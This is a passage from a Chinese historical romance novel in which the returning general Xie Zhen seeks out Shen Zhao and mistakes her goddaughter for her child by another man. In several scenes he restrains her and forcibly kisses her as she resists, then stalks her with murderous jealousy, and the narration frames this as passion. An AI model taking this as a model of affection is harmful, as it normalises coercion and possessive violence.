身上的淡淡的酒气绕到她耳后,炽热的呼吸喷洒在她的雪肤上,激起一片酥麻。 明明紧实如石的手臂此刻却微微颤动,仍旧将她紧紧拥入怀,甚至勒得她喘不过气。 他生怕稍一失力,眼前的人又会像四年前一般,从身边消失。 沈昭用力将他推开,却如同推一面密不透风的墙,直到她清咳几声,脸被憋红:“谢珩,放开我,我快喘不过气了。” 他的手臂忽地松了松力,却并未放开她,听到她均匀的吐息才放心道:“我知道当年你不得以离开我,是我让你受尽苦楚和委屈,对不起,可现在我回来了,再也没有人能将我们分开。” 谢珩本就比她高出一个头,如今身量渐长,此刻站在她面前,下巴抵在她颅顶,将她单薄的身躯包裹得严严实实,她被完全覆在他的身影中。 他垂眸,挺起脊背,细细端详怀里的人。 琼花玉貌,不施任何粉黛,却愈发显得一张芙蓉面如玉如脂,微微张开的唇瓣,唇珠饱满泛着水泽。 睫毛轻轻颤着,她的杏眸最是好看,若雪山中一汪清澈碧波的湖,可她却并未抬眼。 沈昭下意识地后撤一步,后腰却抵上他温热的掌心,他的掌心交叠,微微发力,不许她再退一步。 四年时光荏苒,她心中的酸涩尽数咽下,用手去拉他贴在腰间的手:“谢珩,你先把我放开。” 他非她不可,但她却不能独占他。 “不放!”谢珩见她仍低垂头,他半曲着膝盖,同她视线齐平,对上她的杏眸,他嘴角弯得比月牙还弯:“多年未见,我日日思你念你,若是我再放手,你又不知会跑去何处。” 沈昭躲无可躲,退无可退,只得抬起眼皮,对上他灼灼如火的目光。 他瘦了许多,眉目舒朗,鼻峰高耸如山,下颌的弧度更锋利几许,烛火落在他一侧的脸上,将他的轮廓映照得更深邃立挺。 眼眸中曾经的少年意气不显,更添几丝沉稳和笃定。 自那日她走后,她再没有他的任何消息。 她不敢去打听,既怕李立雯拦不住他,真的上了战场,又怕听到任何战场消息。 她木然地欺骗自己,没有他的消息,他便会一直安好。 可午夜梦回,他满身浴血的样子,又挥散不去,她不敢细想沙场的血刃纷纷,刀戟交越,他是如何挺过来的。 幸好他凯旋而归。 只要他平安无事便足矣。 忽得身子一轻,谢珩托着她的腰将她抱坐在一旁的桌上,他长腿迈开,将她垂在桌沿的双腿左右抵住,双臂撑在她身侧,将她困于他身下。 他倾身而来,逼得她不得不微微后仰,用手撑在他的肩上:“谢珩,你先让我起来。” 她全身的抗拒令谢珩蹙起眉头,想到在春熙茶铺里见到的那名青衫男子,他压在桌上的指节不自觉蜷了蜷:“这四年,你过得可好?” 沈昭抵在他肩上的手,起初只是以掌心推着,慢慢攒聚成拳头的捶打。 四年未见,她不曾抬眸看他,甚至要将他推开。 “谢珩,让我起来,我们好好说。”沈昭一手撑着身后的桌案,身子后仰如一张拉满的弓。 垂在他肩头的手,哪怕用尽全力,亦如棉花捶打在石壁上,绵软无力。 他攥起她捶打的拳,轻而易举地将她完完全全包于掌中:“我母亲到底同你说了什么?” “谢珩,你志在九霄,我意在这山泉清野,你我本就属两处人间,既然道不同,何必强行同路,你走吧。”沈昭将头偏开,颈间垂落的青丝似决绝的帘幕。 她错开他的视线,怕着自己心软,背弃了当初同李立雯的约定,又怕他轻易看穿她的言不由衷。 谢珩忽而抬手,掌心贴着她的耳畔,将她错开的脸掰转过来,他虎口的那道旧疤似一道带着粗粝的纸,磨过她的雪肤,又麻又痒。 见她目光仍瞥向一旁,他指尖发力,捏起她的下巴,让她不得不对上自己视线:“这四年间,我没有一天不思念你,志在九霄”他哽咽失笑,“没有了你,功名利禄于我来说有何意义,我不信你不知我心,你可真舍得我么?” 见她眸中盈盈含水,朱口贝齿,因紧张而不觉咬动下唇,贝齿陷进那抹温软的海棠色中,又倏然松开。 他的神志亦随着陷入其中,陷入他们曾耳鬓厮磨的日日夜夜。 捏着她下颌的指尖骤然收紧。 他低头去吻那抹绯色,唇瓣贴合的瞬息,却瞥见她眼角滑落的一滴泪。 他怔了片刻,终是失力地垂下手,慢慢向后撤了半步。 沈昭低喘着气,适才能坐直身子,谢珩虽然松了手,却依旧挡在她身前,没有退让,他说道:“我已经向陛下请旨赐婚,可是陛下仍有他的考量,暂未允准——” 话音未落,院外响起不急不缓的几下敲门声,在寂静无人的山野中格外清晰:“沈昭,你在家么?” 这声音谢珩很熟悉,他晌午刚见过此人,是春熙茶铺的柳掌柜柳宁。 他眼中的光瞬时灭了,心里的火蹭一下被点燃,眸色深深盯着眼前人。 沈昭听到门外声响,刚欲起身,可谢珩仍阻在自己身前,两腿正对着她垂在桌案上的腿,孤男寡女,共处一室,*于礼不合,更遑论让外人看到。 她抬手去推他,谢珩却先一步捂上她的嘴。 天旋地转间,倏然腰间一紧,玄铁护腕硌在她纤腰上,整个人如猎物般被他单手夹在身侧,绣鞋尖儿离地三寸,徒劳地上下踢动,却只卷起一缕清风。 她挣扎得越紧,谢珩抱着她的手收得越狠。 谢珩将她带至内室,屋内,仅一个黄杨木的拔步床和梳妆台,旁边衣柜露出一线,其中衣物堆叠,已无法藏人。 院外的敲门声又再次响起,谢珩眼眸在屋内扫过,只有拔步床与院墙之间的空隙,尚可躲避。 他抱着沈昭,将她放至角落一隅,一手压在她肩上,不让她起身,一手捂着她的嘴,用身子将她逼到狭窄逼仄处。 沈昭脊背发冷,贴着身后的墙,谢珩则如另一堵墙,同她缩在一处,却严严实实将她当个彻底。 她猜不透谢珩突然发什么疯,手脚并用地将他推开,刻意制造声响,传递给在院外的柳宁。 她一拳拳砸在谢珩身上,虽打不疼他,但皮骨撞在他身上,发出细碎闷响。 肩上被谢珩压制的力道忽而一轻,还未等她起身,只觉脚踝一紧,她的脚踝被一股蛮力拽回,谢珩长腿一曲,压在她正乱踢的双腿上,左膝抵在她的双膝之间。 双腕被他一只大手钳住,按在头顶,捂着她嘴的手松开的瞬间,她张口呼喊,却被谢珩以吻封住。 与之前每一次亲吻不同,他直入她的唇齿,攫取着她的一切,霸道又不容拒绝。 她挣扎,却被他吻得更深,唇齿间的气息凶狠又炽热,几乎夺走她所有呼吸。 越是反抗,他的舌尖越是在她唇舌间蛮横不休,寸寸侵占,逼她承受这近乎惩罚的缠绵。 她口中的呜咽被他尽数吞没,只留下彼此间紊乱又痴缠交错的呼吸。 雕花窗柩漏进的一线清辉在他身上流淌,映得她眼中水光无所遁形。 贝齿不知磕破了谁的唇角,铁锈味在缠磨的吐息中弥散,他似一头嗜血的兽,吸吮得更加放肆。 沈昭的胸口因被他吻得窒息而剧烈起伏,却只吸入更多属于他的气息。 他粗粝的双手一寸寸侵入她的指间,十指纠缠,被他不住摩挲,激起一片颤栗。 门外的敲门声停了许久,谢珩仍没放过她,完全将她压在墙上。 直到哒哒的脚步声靠近门扉,轻快欢脱的步伐却不似寻常男子。 “娘,快出来,你在同蓁蓁躲猫猫么?”女童稚嫩的声音在外响起,探头探脑后,转身向院子里的葡萄架寻去。 禁锢着沈昭的力道骤然僵住,唇齿间的那份温热犹在,她偏转头去,用尽最后气力,猛地将他推开。 谢珩错愕地惊在原地,只因那女童一声娘亲,犹如一道惊雷乍在他头顶,几欲滴血的脸庞霎时惨白如纸。 他不敢置信地握起她的手腕,质问道:“门外的那个孩童,她是?” 沈昭虚扶着墙站起,挣开他的手,咽下嘴里那股腥甜,说道:“你走吧,从此不必相见。” “我不信,沈昭,我回来了,只要你愿意,我们可以重新来过。”谢珩大步上前,眼尾泛着红,眼中氤氲着一层薄薄的水雾,分不清是因着爱欲还是难过。 沈昭却逃似地退至更远,她并未解释,只催他离开:“孩子还小,谢珩,你走吧!” “娘,我听到你的声音啦!”门被推开,蓁蓁正迈着小脚丫,一步步往内室走。 沈昭拢了拢头发,理理凌乱的衣衫,向外走去:“蓁蓁,慧能小师傅给你带了好吃的。” 与他擦身而过的瞬间,沈昭的手腕被他紧紧攥住,温热的掌心出了一层薄汗,粘着她不愿分开。 可她拒绝的力气微弱又带着决绝,正一寸寸同他剥离。 最终她手上被钳制的力道慢慢消失,谢珩只得不舍地慢慢松开。 待沈昭再回身时,只有窗外的一片衣角,一闪而过,融入黑夜。 第55章 啪嗒啪嗒几滴雨水打在窗柩上,继而淅淅沥沥的雨打湿窗沿。 沈昭的脚步顿了顿,循窗而望时,早已不见他的踪迹。 只余空谷寂寥,雨幕凄凄。 沈昭将支窗的叉竿收回,彻底将窗关上。 既然谢珩安然归来,又恰巧误会,不如将错就错,从此互不打扰,两厢安好罢。 她还在愣神,蓁蓁跑到她眼前,拉着她的衣角,小手环抱着她的腿:“娘,我找到你啦!” 沈昭抚摸着她的头,蹲下身子抱起她:“蓁蓁,今日怎么来的这么晚,晚上山路难走,可得当心,你阿娘呢,我可等了你们好久呢。” 话音刚落,便响起另一道女子的声音:“可没成想路上竟下起了雨,我上山的时候遇见柳宁了,她说你不在,可蓁蓁偏吵着要来,总归走到了,不差这几步路,想着进来躲躲雨,你竟在家呢。” 沈昭放下蓁蓁,拿起手帕为夏目擦拭身上的水:“一会儿换身干爽的衣服吧,莫着凉了。” 蓁蓁独自爬上木凳,笑得眼睛眯成一条线:“蓁蓁跑得快,没淋到雨,可是,蓁蓁瞧着柳叔叔不开心,是不是因为他没有见到娘。” 沈昭捏捏她圆嘟嘟的脸:“就你机灵。” 夏目柳眉竖起,拉起蓁蓁的手,带着几分不满:“你这丫头,整日乱唤,若让旁人听去了,可得误会你沈姨母了!” 当初夏目生产时,因着御风的案子已判,谢珩又恰逢出征,他手下的人得令撤回。 夏目一人在长安无亲无故,多亏由沈昭一直惦记,安排丫头婆子照顾她,她才能安稳地诞下一个如此可爱的女儿蓁蓁。 两人义结金兰,沈昭白得了个伶俐可爱的干女儿,自然欢喜,她不知在长安该如何论,直说叫我干娘就好。 彼时小丫头刚学会说话,咿咿呀呀,整日见谁都喊娘,时间久了便绕不开口了。 索性管沈昭唤娘,管她的生母夏目唤阿娘。 她们姐妹之间不计较这些,但当着外人的面,倒引起了好几次误会,夏目总觉得不妥,虽然日日教她唤沈昭姨母,蓁蓁却总难改口了。 沈昭倒不在乎,蓁蓁聪颖,近几年因这小小误会,帮她挡下不少不必要的纠葛。 她彼时忙着茶铺和茶园的事,又怕谢珩查到她的踪迹,总得有人出面,正巧夏目养好身子后,便替她接手了所有明面上的生意,长安城起初的第一间铺子,便是由夏目出面,任掌柜的。 后来,第一间雅茗茶铺供不应求,才又开了春熙茶铺,夏目提议寻个机灵些的男子,因缘际会下,便雇了柳宁帮忙打理。 柳宁务实机敏,不善打探攀附,口风又严,惯爱宠着蓁蓁,蓁蓁想要的物件,若是夏目不允,只要她同柳叔叔开口,定有所获。 夏目忙时,蓁蓁便求着柳宁带她上山玩,他也会帮忙干些杂活。 他倒也有分寸,虽然心中对沈昭有意,但见她无意一心扑在茶铺的生意上,只得暂且徐徐图之,若非急事和陪着蓁蓁上山,他一般不会不请自来。 夏目心中纳罕,见柳宁神色匆匆,但细问他又不说,不知他深夜上山,到底是为何事。 念着夏目也是已亡故的谢怀瑾的朋友,因此,沈昭与谢珩的事,沈昭并未瞒着她。 想起今日街上人头攒动,谢珩班师回朝的热闹,夏目低声对沈昭说:“你知道么,他回来了。” 沈昭垂下眼眸,被他抓握过的腕间还微透着红:“嗯。” 夏目不忍见他们明明是一对佳偶,却无奈分别,她劝道:“若你对他还有意,可别错过了!” 沈昭又岂会不知谢珩的心意,可他至善至孝,她不忍让他忤逆李立雯,为她再次离经叛道。 嫁娶一事,由两人起,却并不单是两人之间的事。 她失去了双亲,可谢珩还有,他还有他的宗族,哪怕他愿意抛却一切随她离开,但她不能不管不顾,由着他来。 沈昭思虑良久,无奈说道:“算了,过去就过去了,我不想耽误他。” 夏目历经各种苦楚,她也曾痴心错付,女子若将心交于一良人,尚有可托,若所托非人,消磨的只是自己罢了,若是没有沈昭相帮,只怕她未能生下蓁蓁,便浅叹一息,不再多言。 —— 高府的热闹随着一场急雨渐渐散去。 乳母将孩子带去一旁安抚,窗扉上,两个身影相互依偎,高峻拥着李玥,为她揉捏肩颈:“夫人,这下可疼?今日辛苦你了。” 李玥笑着摇摇头,她只在院中站了不足片刻,全因高峻怕她受风,才早早回了房。 他们婚后,高峻从未对她说过一句重话,百般呵护,她心中似沾了蜜一般甜。 两人正悄声互诉心肠,门外家丁轻敲了几下门:“少爷,谢家公子在外寻你。” 高峻气得阖上眼眸,牙齿上下磕碰,往日他缠着他都不肯外出游肆,如今他正婚内浓情蜜意,他倒来扫兴了,一日扰他两次,置气道:“不去,和他说我歇下了。” 李玥心中不忍,她仍是盼着谢珩同沈昭能修成正果的,毕竟她心中惶惶不安时,正是沈昭助她。 她知晓个中辛酸滋味,哪怕沈昭不说,她亦能感觉到她的心意。 她推了推高峻:“你去吧,若没有他们二人,你我还没有今日呢。” 高峻赌气再去揽她的腰,却被她冷冷推开,拗不过她,只得披上外衣,随家丁去见谢珩。 高峻嘴里嘀嘀咕咕,满不情愿地往外走,但看见远处的谢珩时,心中不由得一惊,他轻折眉头,吩咐家仆:“还不快去备好热茶,热水,再去取一件我的新衣送到书房,快!” 谢珩全身被雨水淋透,眼眸无光,虚置地望着一处。 浑身的煞气尽显,饶是刚刚从战场上拼杀归来,都不似这般渗得人不敢靠近。 如同一尊石雕立在雨夜中,仿佛被抽干了灵魂。 同今日打马游街时,恣意威武的将军天差地别。 嘴唇毫无血色,见到高峻的身影,他才抬了抬眼眸,长睫上落下的水,将他的眼眶打湿,只能望见一片虚影。 许久,他才提步随着高峻入府,高府的家仆吓得不由得往后退了半步。 高峻本还怕着染了水汽,再渡给李玥和孩子,事已至此,顾不得多想,他大步上前,接过家仆手中的伞,举在他头顶上:“九如,进屋说。” 家仆备好热水,奉上热茶,站在檐下听候吩咐。 高峻口无遮拦地劝慰他:“九如,天底下的女子何其多,若是寻不到她就算了吧,四年了,指不定人家已再嫁他人了,你也不好去打扰人家,看开点。” 忽而一记眼刀向他甩来,对上谢珩的深眸,他脊背登时起了一层细细密密的汗,他们相识多年,谢珩一向待人有礼,哪怕他幼时缠着他去玩耍,哪怕被逼得急了,话语间带着冷意,却从未对他真动过气。 他从未见过谢珩如此。 甚至从谢珩的眼眸中,第一次感觉到令人心惊胆寒的杀意。 高峻将唇抿住,呼吸都滞塞了,不敢再多说一句,他努力控制着手,尽量不抖,将茶盏推到谢珩面前:“先喝点热茶,要不你先换下身上的衣袍?” “好,高兄等我片刻。”谢珩转身去了隔壁厢房沐洗。 谢珩从前虽然少言,哪怕身负铁甲手持利剑,但骨子里的气质仍是矜贵清雅的,全然不似今日一般,活像从暗夜中走出的修罗般。 高峻坐立不安,又不敢轻易离开。 今晨谢珩与景明帝在御书房争执一事,傍晚时分,已从宫内传至宫外,高峻知他不易,本是为着谋一个婚事,四年光景,若是最终落了一场空,谢珩难免不痛快。 但先不论此能否得圣上下旨和谢家夫人允准,就是沈昭这人,他们至今都寻到她。 拿不准谢珩下步到底作何打算,高峻独自在房中喝茶等他出来。 未久,谢珩换好衣衫走出,却避开高家家仆,俯在他耳畔低声说了几句。 “不行!”高峻严词拒绝他,见谢珩面色始终阴沉,他又不好激他太过,劝道,“此前,我浪荡无羁时,你劝慰我的话,你都忘了么,君子有所为有所不为, 九如,你并非这样的人,莫要因这一时打击,走上歧路, 何况,我已有妻女,就是你真想去,我也不能奉陪啊!我夫人还等我回房呢。” 谢珩无意同他多费口舌:“你说还是不说?若你不说,我自有其他法子去打听。” 高峻生怕这祖宗闹出大事,见他起身要走,忙拉住他的手:“好好好,我说,这长安城最有名的妓院就是燕春院,不过你要的那种我真不知道,你不若去问问燕春院的鸨母。” “多谢。”谢珩告辞,拿了靠着屋檐下的伞,又急匆匆踏入雨夜。 高峻望着远处他的虚影,连连摇头叹气,往日最是端方自持的人,怎的他现在却愈发琢磨不透他了。 第56章 翌日,风朗气清,空中朵朵白云相依,泥土中蕴着雨后的清新,将昨夜的爱恨纠缠深埋。 沈昭支起窗户,后院被大雨洗刷一新,不曾留下任何他来过的痕迹。 仿佛是一场梦。 直到她清洗衣裙时,肩袖处被拉扯撕裂的断线,仍让她慌了心神。 四年未见,他高壮了许多,四年沙场征战将他的磨得更具棱角。昔日的玉面少年郎,经风沙噬去了眼底的温润,徒留两道淬着寒星的目光。 沙场磨人,连他身上的沉香气都化作了血染寒铁的气息,让她再寻不到旧时痕迹。 她眼底泛起一层湿意,渐渐模糊了视线,只要平安归来就好。 ———— “你若再是如此,我们便报官了!”雅茗茶铺前,众人乱作一团,一个男子被店里的几个伙计围在中间。 “睁大你们的狗眼看看,我是你们的东家,夏目是我媳妇!”惊云无赖般地站在门口,嗓门高的震天。 当年的案子因没有他杀人的确凿证据,最后只以擅闯私宅,窃取他人财物罪名将他关了两年多,他出狱后,丢了差事又寻不到夏目,手里的那点钱被他大手大脚地挥霍无几。 直到听闻长安城开了新的茶铺,为吸引新客,开业当日,饮茶分文不取,他赶去凑热闹,却一眼认出了夏目。 自此,他每隔几日便总来茶铺骚扰,这也是为何再开第二个茶铺时,夏目提议寻一个男子出任掌柜的,概因她实在无暇分身,沈昭又不便露面。 他们不是没报过官,可毕竟惊云坐牢时,他们无法和离,待他出狱后,惊云眼见她成了长安城最大铺子的掌柜的,又不舍放下她,自然不愿同她分开。 在长安,妻子若犯七出之条,丈夫可通过官府诉讼离婚,但若妻子想借助官府途径,并不容易,需得丈夫犯“义绝”之罪,即丈夫殴打、杀害妻子及其亲属,或妻子与亲属通奸时,方可诉到衙门。① 惊云虽无赖,且亦会钻空子,官府来时,只道是家事,不愿多管,劝了几句便走了,他更无法无天。 蓁蓁正在后院外,听到动静,小手抓开帷帘,夏目忙上前将她抱起,捂着她的眼睛:“乖,去后面玩。” 惊云仗着有功夫在身,脚尖点地,穿过人群,一把拉着夏目:“你这个臭婆娘,老子自己的孩子你都不让见,你多恨的心。”说着便上去抢蓁蓁。 蓁蓁被他吓得嗷嗷大哭,小手用力推他:“你不是我爹爹,你是坏人,你放开我阿娘。” 自夏目从沈昭那知道前因后果,她便决意同惊云断个干净,他断不会让此杀人越货之人成为她孩子的爹,她大着肚子被他丢在客栈,若是没有沈昭帮衬,只怕她不会平安生下蓁蓁。 围观的百姓越来越多,扰得店里的生意也干不下去了,店小二派人去寻柳宁,可他赶来仍需时间。 蓁蓁的哭闹声不止,惊云死拉着他们娘俩不放,场面僵持不下。 “就是他!他扰我店里的生意已不是一次两次了。”人群中一道清越的女声响起,百姓循声望去,几名官差持刀厉声呵止住看热闹的众人。 众人散开,方见沈昭着一身青白的间色裙,青丝以两支玉簪拢起,略施薄粉,淡扫蛾眉,似夏日里盛开的荷,清丽婉约。 面对着眼前一片狼藉,她却不疾不徐,步步生莲,明明是个娇俏的小娘子,却让人莫名心安。 官差上前,惊云不屑地嗤了一声。 夏目对她微微颔首,趁机抱着蓁蓁向后院跑,只留她一张一合的小手向她抓着,糯糯说:“要抱~” 沈昭带来的官差厉声道:“干什么的!” “这是我自家买卖,我回来看我妻女,有何不可!”惊云嘴上不服。 沈昭上前一步:“官爷,此人在我这儿闹事不是一次两次了,我是本店掌柜,与这人并不相识,此事儿你们管还是不管?” 不少在此排队买茶的买主,等了半晌,有些还等着赶车,心中本就不快,叫嚷着:“这人一大早就来了,闹了半天,还让不让人安生了,官府不能只吃干饭,不干人事吧。” “对啊!我作证!” 群情激奋,加之人证物证具在,几个官差上前反剪着惊云双手:“走,有什么事去县衙说吧。” 惊云再想挣脱,但念着他们人多势众,恶狠狠地咬着腮帮,剜了沈昭一眼,被架走了。 沈昭让店小二招待顾客,她处理完后去内院寻夏目,蓁蓁渐渐止了哭闹,缩在她娘亲怀中。 夏目满脸自责:“是我不好,耽误茶铺的生意了。” 沈昭同她坐于院中,为她斟了一杯茶:“怎么会,若不是你,雅茗茶铺不会干的如此好,莫让烂人影响了你。” 似是想到什么,夏目慌得站起:“你怎么来了,你不怕被他看见么?” 她们一早便约定夏目主外,沈昭在后,方便将沈昭隐藏起来,不被谢珩发现行踪。 既然谢珩能直上灵山寺后山寻到她,自是对她调查过一番,瞒是瞒不住了。 沈昭说:“我见过他了,今后不必再躲藏,总归我们各自互不打扰便是,雅茗茶铺还是由你作主,只是这无赖若是再来,我定不会绕他。” 两人相视而笑,正说着,柳宁急匆匆赶到。 他先是帮着安抚好买主,又来了后院,见到沈昭,心中一时惊喜,直直地向她走来,走得步子都急了几分:“你下山了?” 他走近后,才将视线错开到夏目身上,微微颔首,夏目亦了然地笑笑。 沈昭:“嗯,以后我偶尔会下山看看,若春熙茶铺那还有事,你可先回,我在这多陪陪夏目。” “无事。”柳宁回得干脆,他惯喜青色,今日仍是一身青绿色衣衫,倒同沈昭身上的花间裙,莫名相应。 记起昨日那男子,柳宁神色有些犹豫,支吾说:“昨日”他余光扫到夏目,不知该不该当她面说。 沈昭并不在意:“夏目不是外人,昨日发生何事?” “昨日有名男子来茶铺,说是要见我们东家,我装作不知,他还拿剑相向,我怕出事,昨儿夜里上山寻你,可你不在。” 沈昭暗叹,谢珩本就有玲珑心思,缉拿凶犯都不在话下,他们相处日久,他又岂会猜想不到茶铺与她有关。 可未成想他竟这么快就找到她的落脚之所。 沈昭只道:“无妨,他以后应不会再来了,你没事吧,他可伤到你了?” 柳宁笑得灿然,坚定说:“无碍,他只是言辞威胁罢了,哪怕是真取了我的性命,你的事我也不会随意告诉旁人。” 夏目在旁听得津津有味,一副吃瓜模样,唇角都几欲裂到耳下,心里掂量,自己是不是该回避下。 柳宁却先一步起身:“你们姊妹俩聊吧,我再去前面看看。” 夏目笑着调侃道:“这柳掌柜人真不错,能顶事,自见了你,这目光就没从你身上离开过,反正你斩断旧缘了,不若考虑考虑他呀!” 沈昭掐她一下:“你瞧着确实不错,不若说与你呀。” 两个人互相打趣,夏目心中的阴霾被一扫而空,蓁蓁则在她怀中呼呼睡着了,夏目将蓁蓁抱进里屋。 沈昭又回了前堂去帮衬,柳宁踏实,虽然是春熙店铺掌柜的,但无论对顾客还是对店内的人都体贴有礼,不熟知内情的人,还真曾将夏目与柳宁视作一对,毕竟她们各管一个茶铺,又同属一家。 自昨日谢珩走后,柳宁便着人暗自打听过,得知那人是谢府的公子谢珩,上午还在街上受万人庆贺,下午便主动寻到他们铺子找人。 他虽不了解谢府当年之事,但依着谢珩昨日言行,他直觉便知他同沈昭一定关系匪浅。 正思索着,倒水的手一直僵持着,茶水淅淅沥沥一直未停,直到买主出声:“哎哎,你这人睡着了。” 柳宁慌神低头,桌上的茶水满溢,他慌似得那起桌上的抹布去擦,嘴上忙道:“对不住,是我一时大意。” 买主摆摆手,不耐地催他下去。 柳宁将桌案整理擦净后,抬眸却对上对面楼阁之上,昨日那对熟悉的眸子,他方才所想之人——谢珩。 他正站在高处,目不转睛地凝着柳宁,穿着一身荼白色衣袍,衣袂翻飞如雪,似一弯冷月,可周身的煞气却沉沉压下,连檐角的风铃都不敢摇曳。 “没事吧?”身后传来沈昭关切的声音。 柳宁忽地落下目光,转身挡在她面前,将她的视线堵个严严实实。 “嘶”地忍痛一声,旋即将手负于身后,欲盖弥彰道:“无碍,不过烫到手罢了。” 铺子里忙得不可开交,店小二们各有各的差事。 沈昭取了柜子里的药匣,同他找了个角落相对坐下:“给我看看。” 沈昭未尝不知柳宁对她的心意,饶是夏目都在旁添一把火,意无意给他们二人独处的空间, 但他既没明说,她亦不能直接将人拒了,虽然多次明里暗里委婉同他表达过,她的心思只在茶铺之上,只盼着能开更多的茶铺,寄希望他能听出其中曲折。 她一直刻意同他保持分寸,此刻才恍然觉得,初入府时,谢珩避她三舍,顾惜她的名声,确是君子所为。 柳宁手上一片红肿,沈昭为他简单敷上药膏后,收起药匣,柳宁连声谢过,刚欲起身,却脚步虚浮,向前栽去。 沈昭忙出手接住他,不得以扶着他的胳膊:“柳宁,若是身子不适,你回去休息几日吧。” 柳宁轻摇着头:“可能是暑气太盛罢,我稍作休息便可。”他微微歪着身子,靠在沈昭肩侧,唇角却扬起一丝微不可查的弧度。 毕竟是身体有恙,沈昭顾不得多想,将他扶去后院阴凉处。 高台之上,望着两人紧紧依靠的身影,谢珩手中杯盏被狠狠捏碎,指尖被划破的血,一滴滴落在浸着茶渍的碎瓷上。 茶色与血色交融,一片狼藉。 第57章 谢珩背转过身,手臂上的青筋似蜿蜒的虬枝,从硬实的肌肉纹理中,悍然而起,几欲断裂,他不再细看他们二人。 昨夜,他去燕春院走了一遭,据那儿的鸨母引荐,他来到象姑馆前,与燕春院不同,门口迎客的皆是男子。 此地偏僻隐蔽,若非熟人互相推荐,仅观其楼宇,倒更像个清雅书肆,及至入内时,才可观其中的荒唐,象姑们着软纱的衣袍,未束玉带,青丝如缎垂落,倒比女子更添几分妖娆。 他方一出现,便被几人娇俏地围上,谢珩不抬一眼,随意点了几名象姑入内,既不喝酒,也不风月,只问一事。 他犹记得沈昭曾提过九州女子养面首一事,那时她笑靥如花曾言:女子若是家财万贯,养几个面首都可。 他心中哂笑,她心心念念将茶叶推广至长安,甚至整个北方,可不就是图着家财万贯而去。 那柳宁人若其名,弱柳扶风一般,美则美矣,毫无灵魂,看着都上不了台面,沈昭这些年定受了很多苦楚,否则岂会看上柳宁。 象姑们默然无声,往来的客人多了,有男有女,各有各的癖好,但相对而言,他们更爱侍奉女子,温婉动人,最起码不会对他们动粗,但若是男客便不一样了,少不了受些苦。 他们只静静候着,等待谢珩吩咐。 谢珩憋了许久,才咬着牙问向他们,他心中最为疑惑一事:“若是你们一同侍奉女子,女子会作何感受?” 象姑们眼笑成一线,羞得用帕子捂着脸:“这我们哪知道呢,还得问来这儿的客人呀!毕竟是人家的切肤之受” 谢珩猛地拍案而起,牙恨不得咬碎了:“说。” 象姑们被他吓得直哆嗦,但收了银子,自然得尽心侍奉,他们壮着胆子议论着: “约莫是很舒服吧。” “要我,我就选几个不同样子的,一个雄武有力、一个柔美温婉、一个腹有诗书、再一个” “你们这些男人,脱了衣服,还不是一个模样,都是饿虎扑食般。” “你不是男人么!” “你说谁不是男人?” 象姑的话,在他脑海里互相叫嚣,一如昨晚。 不同样子? 他轻嗤出声,他与那个不知所谓的柳宁,确实是不同模样 掌柜的收拾完地上的碎瓷,忙上前招呼他:“客官,您手下留情,咱这个木栏杆可是百年前的遗迹,经不起折腾,您看,要不去楼下歇歇。” 谢珩再望也望不到雅茗茶铺内院的事,只得悻悻而去。 他转身离去的瞬间,恰巧错过夏目的身影。 夏目因着还得同店里伙计一起去县衙录供词,她将蓁蓁托付给沈昭和柳宁,沈昭未作他想,往日店铺盘点或者进货,不得闲时,柳宁经常会送蓁蓁上山,留宿在山中。 铺子打烊后,他们二人一左一右牵着蓁蓁去春风楼吃晚饭。 夕阳晚照,三人的身影被落日拉成一线,高低错落,彼此牵着,言笑晏晏,旁人一瞧便知此是三口之家。 谢珩跟在他们身后,眼中的杀意逼退身旁擦肩而过的行人,饶是再俊逸的公子,却面如铅色,目露凶光,直教人退避三舍。 沈昭安抚着蓁蓁:“蓁蓁许久没同我上山玩了,一会去吃你最爱吃的桂花酥,吃完了陪我一起爬山可好?” “好耶!蓁蓁要娘抱着我睡,柳叔叔也同我们一起去玩,还有慧能小师傅,我好久都没见他了。” “好,一会让你柳叔叔去灵山寺寻慧能。” 三人在前方走着,沈昭不时侧首,唇瓣张合,听不清她到底在论何事,但她唇角的笑从未落下来,柳宁不时同她对望,眼中含情脉脉。 谢珩在他们身后跟着,可又怕靠得太近,被他们发现不妥,如此亲眼瞧着他们入了春风楼,用过晚饭后,三人一道往山上走。 他们上山时天还有些许光亮,行至半途,才渐渐转暗。 蓁蓁跑得快,起初还回望着同他们招招手,紧随其后的谢珩便闪身躲进一旁草丛,后来不得不错过一个弯,避免被那小丫头看到。 山路偶有碎石杂草,柳宁的手在沈昭身后虚抬着,可离得远了,看不真切,只会以为姓柳的扶她走了一路。 谢珩的忍耐已到了极限,他派杨方去查,已经半日了,仍未得到任何消息,他深吸一口气,闭眼不再去看,殊不知指甲早已陷入掌心,牙齿被磨得咔咔作响,再三克制,也挡不住腭骨的颤动。 他站在几里之外,看着他们成双入对,进进出出 等了不知多久,慧能下山,屋内的烛火亮起,谢珩扶着剑的手骤然缩紧,他不能再一味地苦等杨方的消息了。 柳宁一向不在此过夜,除了送蓁蓁来此之外,他仅昨日一次,是夜深上山,蓁蓁睡下之后,他本欲同慧能一起下山离开。 但沈昭却主动开口,让他留宿,她不确定谢珩是否还会如昨晚一样,深夜潜入她房中;亦不知他是否误会了以后,会彻底死心。 她带着孩子在山上,终是有所忌惮,因柳宁一向懂得分寸,便留他在山上一夜。 柳宁稍作退却后,欣然应下。 沈昭有她的思量,既然谢珩无意中误会了,不如就借此东风,让他彻底放下,不必继续夹在她与李立雯之间为难。 这儿的客房多,除了夏目和蓁蓁之外,一直无人居住,安抚好蓁蓁睡下后,她在柜子里正寻新的被褥给柳宁。 谢珩见柳宁已进了昨日的房间,他看不分明,甚至不敢去想,那姓柳的是否进了内室。 刚欲起身,杨方在后悄悄喊住他:“少爷!” 杨方气喘吁吁地爬上山:“这山路太难寻了,我在山里绕了半天” “说正事!”谢珩直接出口打断他。 杨方稍作犹豫:“少爷,沈姑娘她、她确实没再成亲。” 依着《婚律》所记,男女结亲需到官府登记留档,婚书也需备份。 出征前,他怕自己万一一去不复返,误她终身,未让沈昭在婚书上签字,他们二人也没经官府留档。 他让杨方去查,若是沈昭同柳宁三书六礼,明媒正娶,定会在官府有记录,可杨方折腾半日,细细查过,查了沈昭也查了严元清,她们确实并未登记。 谢珩一拳砸在地上,青筋暴起,胸膛剧烈地起伏,他目光如刀,如一头被激怒的雄狮,月光在他脸上留下狰狞的阴影。 他的身影拉长,扭曲地映在地上,像一头即将扑杀的猛兽,压抑而暴烈。 姓柳的他怎么敢!让她无名无分便替他生儿育女,承受这一切。 杨方见势不对,紧紧抓着他的手臂:“少爷,你冷静点,他毕竟是孩子的爹,你若是一怒之下,将*他杀了,沈姑娘更不会原谅你的!” 